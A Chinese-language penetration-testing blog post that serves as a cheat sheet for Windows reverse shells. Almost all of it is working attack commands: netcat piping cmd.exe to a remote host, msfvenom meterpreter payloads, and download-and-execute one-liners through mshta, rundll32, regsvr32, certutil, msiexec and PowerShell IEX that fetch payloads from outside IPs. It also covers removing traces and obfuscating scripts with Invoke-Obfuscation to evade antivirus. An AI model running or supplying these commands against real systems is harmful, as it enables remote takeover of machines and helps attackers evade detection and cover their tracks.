Windows反弹shell

发布于 2021-07-16  2721 次阅读


《渗透测试》目录

一、反弹Shell简介

正向shell:控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。

反向Shell(反弹Shell):被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

二、Windows反弹Shell

1.NetCat(NC)

(1)NC正向Shell

原理:被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

被控端:nc -lvvp 6666 -e cmd.exe        (将cmd发送到本机端口)
控制端:nc 192.168.1.106 6666           (主动连接被控端相应端口的cmd)

(2)NC反弹Shell

原理:被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell

控制端:nc -lvvp 7777        (在本机某个端口进行监听)
被控端:nc -e cmd.exe 192.168.1.105 7777        (主动将cmd反弹给控制端相应端口)

2.mshta.exe  (需要关闭防火墙)

mshta.exe是用于负责解释运行HTA(HTML应用程序)文件的Windows系统应用程序。可以运行JavaScript或VBScript的HTML文件。

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 10.0.8.13   (这里设置的是vps的内网IP)
msf exploit(windows/misc/hta_server) > set lhost 81.70.242.138        (vps的公网IP)        
msf exploit(windows/misc/hta_server) > set lport 5555
msf exploit(windows/misc/hta_server) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/misc/hta_server) > set target 1
msf exploit(windows/misc/hta_server) > exploit –j

mshta.exe http://81.70.242.138:8080/9A5Iiz.hta     (在目标机器上输入这条命令,网址的前半部分为公网IP,后半部分为上面命令生成的)

若反弹失败则可以设置公网和本地的端口进行绑定:

msf exploit(windows/misc/hta_server) > set reverselistenerbindaddress 10.0.8.13 (内网IP)

(1)通过Msfvenom生成恶意HTA文件发起攻击   (需要关闭防火墙)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=81.70.242.138 lport=6666 -f hta-psh -o 1.hta

python –m SimpleHTTPServer 8000       (或者python3 -m http.server)

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp 
set lhost 10.0.8.13      (内网IP)
set lport 6666
run -j      (-j为后台执行)
或者handler -p windows/x64/meterpreter/reverse_tcp -H 10.0.8.13 -P 6666

mshta.exe http://81.70.242.138:8000/1.hta     (访问公网IP上的资源)

(2)Cobaltstrike生成HTA

  1. 点击攻击模块的HTML Application
  2. Method选择powershell       (生成监听器)
  3. 选择攻击模块的web drive-by模块,选择文件下载(Host File)
  4. 选择.hta文件
  5. 点击开始和OK
  6. 选择攻击模块的web drive-by模块,选择Manager
mshta http://8.131.57.209:8066/download/file.ext   (在目标机器上执行命令)

3.rundll32.exe (杀软会自动查杀)

(1)SMB Delivery模块(在vps上可能无法使用)

Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其存储在适当的内存库中。

动态链接库英文为DLL (Dynamic Link Library) 。DLL是一个包含可由多个程序,同时使用的代码和数据的库。

use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 172.24.63.66
msf exploit(windows/smb/smb_delivery) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/smb_delivery) > set lhost 8.131.57.209
msf exploit(windows/smb/smb_delivery) > set lport 7777
msf exploit(windows/smb/smb_delivery) > exploit -j

rundll32.exe \\172.24.63.66\GylDS\test.dll,0        (文件名对应上面里的File_name选项)

虽防火墙已经自动处理,但攻击机仍收到meterpreter,并且没有断线

(2)Msfvenom生成反弹shell的dll        (杀软仍然会自动查杀)

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=53 -f dll > timer.dll    (本地生成)
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.0.108 -P 53                (本地监听)

本地加载:

certutil.exe -urlcache -split -f http://192.168.0.108:8000/timer.dll                (靶机进行下载)
rundll32 shell32.dll,Control_RunDLL C:\Users\timer\timer.dll                (靶机通过调用Control_RunDLL函数进行执行)

(3)利用Rundll32加载hta反弹shell

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=8.131.57.209 lport=7777 -f hta-psh > 2.hta
certutil.exe -urlcache -split -f http://8.131.57.209:8080/2.hta C:\windows\temp\2.hta
rundll32.exe url.dll,OpenURL C:\windows\temp\2.hta            (url.dll为内置的dll库)

4.Regsvr32.exe

Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如Windows注册表中的dll和ActiveX控件。    

Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32 文件夹中。        (%systemroot%一般为C:\Windows\)

语法:Regsvr32 [/s] [/u] [/n][/i[:cmdline]] <dllname>
/u - 注销服务器
/i - 调用DllInstall传递一个可选的[cmdline];当它与/u一起使用时,它调用dll来卸载
/n - 不要调用DllRegisterServer; 此选项必须与/i一起使用
/s - 沉默; 不显示消息框

(1)Web Delivery模块启动Regsvr32    (在vps上可能存在监听问题)

use exploit/multi/script/web_delivery
msf exploit (web_delivery)> set srvhost 192.168.0.108
msf exploit (web_delivery)> set target 3        (3为Regsvr32)
msf exploit (web_delivery)> set payload windows/x64/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.0.108
msf exploit (web_delivery)> exploit –j

regsvr32 /s /n /u /i:http://192.168.0.108:8080/ZDBnssR8rz.sct scrobj.dll           (在靶机上执行命令,只需要换IP地址)

5.Certuil.exe (仍会被查杀)

Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目标计算机中执行恶意的exe文件以获得meterpreter会话。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=8.131.57.209 lport=6666 -f exe > 6666.exe
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.0.108 -P 6666
python -m SimpleHTTPServer 8000
certutil.exe -urlcache -split -f http://8.131.57.209:8000/6666.exe c:\windows\temp\6666.exe & start c:\windows\temp\6666.exe    (下载并执行)
certutil.exe -urlcache -split -f http://8.131.57.209:8000/6666.exe delete    (痕迹清除)

6.msiexec.exe

(1)通过Metasploit启动msiexec攻击   (会被查杀)

MSI就是microsoft installer的简写,是微软格式的安装包。一般是程序的安装软件包。    

msiexe.exe是Windows系统安装引擎,MSI包就是使用msiexe.exe来解释安装。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=8.131.57.209 lport=9999 -f msi > 1.msi        (生成木马文件)
python -m SimpleHTTPServer 8000            
handler -p windows/x64/meterpreter/reverse_tcp -H 内网IP -P 9999
msiexec /q /i http://8.131.57.209:8000/1.msi        (进行下载安装,/q为静默,/i为安装)

7.Powershell.exe

(1)PowerShell加载远程脚本  (窗口会消失,杀软会拦截)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=8.131.57.209 lport=8899 -f psh-reflection -o shell.ps1
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.0.108 -P 8899
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8.131.57.209:8000/shell.ps1')";

(2)PowerShell脚本Powercat

Powercat是PowerShell本地后门侦听器和反向shell工具,也称为修改版本的netcat,因为它集成支持经过编码的有效载荷。    

git clone https://github.com/besimorhino/powercat.git
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://8.131.57.209:8000/powercat.ps1');powercat -c 8.131.57.209 -p 6666 -e cmd"        (可以加上-w hidden,-ep bypass;前一条命令用来执行powercat脚本,后一条命令通过使用各种选项进行远程连接)

(3)通过Web delivery反弹shell    (相对nc和powercat更不容易被拦截)

use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set srvhost 10.0.8.13           (这里设置的是vps的内网IP)
msf exploit(multi/script/web_delivery) > set lhost 81.70.242.138        (vps的公网IP)
msf exploit(multi/script/web_delivery) > set target 2            (通过show targets进行选择,2为PSH:powershell)
msf exploit(multi/script/web_delivery) > set payload windows/x64/merterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > exploit

(4)通过PowerShell启动cscript.exe

PowerShell允许客户端通过执行cscript.exe来运行wsf、js和vbscript脚本。        (cscript.exe是一个脚本解释器)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=8.131.57.209 LPORT=7777 -f vbs -o 3.vbs    (生成一个vbs脚本)

msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 8.131.57.209 -P 7777
powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://8.131.57.209:8000/1.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""        (先下载文件,然后用Start-Process开启进程cscript.exe,最后使用解释器运行脚本)

(5)通过PowerShell启动BAT文件攻击

PowerShell允许客户端执行bat文件。

msfvenom -p cmd/windows/powershell_reverse_tcp lhost=192.168.78.117 lport=8888 -o 1.bat        (生成恶意bat文件,注意payload)
msf > handler -p cmd/windows/powershell_reverse_tcp -H 192.168.1.227 -P 4455        (进行监听,注意payload)
powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.78.117:8000/1.bat'))"        (加载到内存中执行)

8.Metasploit

(1)Metasploit生成exe文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.78.117 LPORT=4445 -f exe -o 1.exe        (生成脚本)
msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.78.117 -P 4445            (进行监听)

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.78.117:8000/1.exe','1.exe');start 1.exe

或

powershell -ep bypass -nop -w hidden (new-object system.net.webclient).DownloadFile('http://192.168.78.117:8000/1.exe','1.exe');start-process 1.exe            (start-process和start是相同的)

9.Powershel代码混淆

https://github.com/danielbohannon/Invoke-Obfuscation    

启动Invoke-Obfuscation:

Powershell –ep bypass       (设定执行策略)
Import-Module ./Invoke-Obfuscation.psd1    (导入module,windows上为Import-Module ./Invoke-Obfuscation.psd1)
Invoke-Obfuscation     (调用function)

设置混淆脚本代码位置:

set scriptpath C:\Users\mingy\Desktop\mx\Invoke-Obfuscation\pp.ps1

选择混淆方式为 TOKEN\ALL\1:        (原理为打乱脚本代码顺序,躲避杀软)

可以分三条语句:
token
all
1

保存混淆之后的脚本:

out ppp.ps1    (尝试该脚本之后杀软不会报毒)

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。